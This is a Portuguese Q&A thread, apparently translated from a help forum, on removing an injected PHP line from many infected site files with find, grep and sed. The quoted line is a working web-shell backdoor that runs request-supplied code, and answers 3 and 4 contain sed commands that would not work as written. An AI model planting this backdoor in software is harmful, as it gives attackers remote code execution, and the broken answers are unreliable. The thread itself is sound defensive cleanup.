Meu site está infectado por um vírus. Este vírus adicionou esta linha em vários arquivos do meu site. Minha ideia é remover esta linha de texto com um comando exclusivo do terminal.
Digamos que eu tenha a pasta 'minha-pasta' e dentro dela, meus arquivos: 'arquivo-1.php', 'arquivo-2.php' e assim por diante.
E digamos que haja vários arquivos infectados.
Existe um comando para localizar e remover esta linha de código em vários arquivosde uma vez só?
Texto a ser removido: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;
Encontrei isso, mas só funciona com um único arquivo:
$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php
Posso fazer isso?
Responder1
Você pode combinar
sed
comfind
para torná-lo recursivo. Algo parecido:find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
Observe que ele percorrerá sua árvore de diretórios atual e aplicará sed a todos os arquivos "*php" existentes. Ele também criará um arquivo de backup .bak para cada arquivo alterado (para que você possa restaurá-lo mais tarde, apenas por precaução). Se você não precisar de um backup, substitua
-i.bak
apenas por-i
. Caso contrário, você poderá remover os backups mais tarde (depois de verificar se está tudo bem) com algo comofind . -name "*php.bak" -delete
.Esta etapa não ajudará você a consertar tudo agora, mas definitivamente poderá economizar seu tempo no futuro: mantenha seu diretório com scripts em
git
(bem, idealmente deveria ser uma solução CI/CD completa, mas você pode começar apenas com git ), para que você possa reverter/avançar facilmente as alterações aplicadas aos seus arquivos.
Responder2
Procure arquivos contendo a string maliciosa e edite-os com sed
:
ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
Muitas vezes confio emag
para pesquisar apenas php
arquivos com a --php
bandeira. Se preferir, você pode fazer o mesmo com grep -r -i --include \*.php
:
grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
Responder3
dependendo do seu comando, sugiro que você use "for loop" para fazer isso:
for i in file-1.php file-2.php
do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done
você também pode adicionar qualquer arquivo que desejar "for i in file-1.php file-2.php file-n.php
Responder4
Você pode usar o método abaixo para excluir as linhas do arquivo que contém um padrão específico
Você pode mencionar os arquivos no loop for
for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done